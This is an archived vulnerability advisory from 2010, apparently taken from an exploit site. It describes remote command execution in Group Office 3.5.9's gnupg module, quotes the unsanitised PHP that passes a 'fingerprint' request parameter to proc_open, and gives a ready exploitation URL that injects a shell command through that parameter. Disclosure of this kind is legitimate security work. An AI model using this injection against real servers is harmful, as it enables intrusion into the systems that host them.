<!DOCTYPE HTML PUBLIC ‘-//W3C//DTD HTML 4.01 Transitional//EN’><html><head><meta http-equiv=’Content-Type’ content=’text/html; charset=windows-1251′><title>Group Office Remote Command Execution Vulnerability</title><link rel=’shortcut icon’ href=’/favicon.ico’ type=’image/x-icon’><link rel=’alternate’ type=’application/rss+xml’ title=’Inj3ct0r RSS’ href=’/rss’></head><body><pre>===================================================
Group Office Remote Command Execution Vulnerability
===================================================

# Title
Group Office Remote Command Execution Vulnerability

# Author
ADEO Security

# Published
16/07/2010

# Version
3.5.9 (Possible all versions)

# Vendor

http://www.group-office.com

# Download

http://sourceforge.net/projects/group-office/files/3.5/groupoffice-com-3.5.9.tar.gz/download

# Description
&quot;Take your office online with Group-Office groupware. Share projects,
calendars, files and e-mail online with co-workers and clients. Easy
to use and fully customizable, Group-Office takes online collaboration
to the next level.&quot;

# Credit
Vulnerability founded by Canberk BOLAT
– Mail: security[AT]adeo.com.tr
– Web: http://security.adeo.com.tr , http://adeosecuritylabs.com

# Vulnerability
Remote attacker can execute commands on the system that host target
web application. Its high level vulnerability. Attacker needs gnupg
module that installed.

modules/gnupg/json.php:
$data = $gnupg-&gt;export($_REQUEST['fingerprint']);

In json.php export method called with HTTP Request that’s name
fingerprint. In the export method, variable $fingerprint passed to
run_cmd method.

modules/gnupg/classes/gnupg.class.inc.php:
public function export($fingerprint)
{
$this-&gt;run_cmd(‘–armor –export ‘.$fingerprint, $key);
…
private function run_cmd($cmd, &amp;$output=null, &amp;$errorcode=null,
$data=null, $passphrase=null, $background=false)
{
…
$complete_cmd .= ‘ ‘.$cmd;
…
$p = proc_open($complete_cmd,$this-&gt;fd, $this-&gt;pipes);
…

‘complete_cmd’ variable executed by application and if attacker
manipulate request ‘fingerprint’ application executes attackers
malicious codes.

# Exploitation

http://server/groupoffice/modules/gnupg/json.php?task=send_key&amp;fingerprint=xyz;COMMAND

# <a href=’http://inj3ct0r.com/’>Inj3ct0r.com</a> [2010-07-16]</pre><script type=’text/javascript’>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src=’" + gaJsHost + "google-analytics.com/ga.js’ type=’text/javascript’%3E%3C/script%3E"));</script><script type=’text/javascript’>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
Source: http://inj3ct0r.com/exploits/13365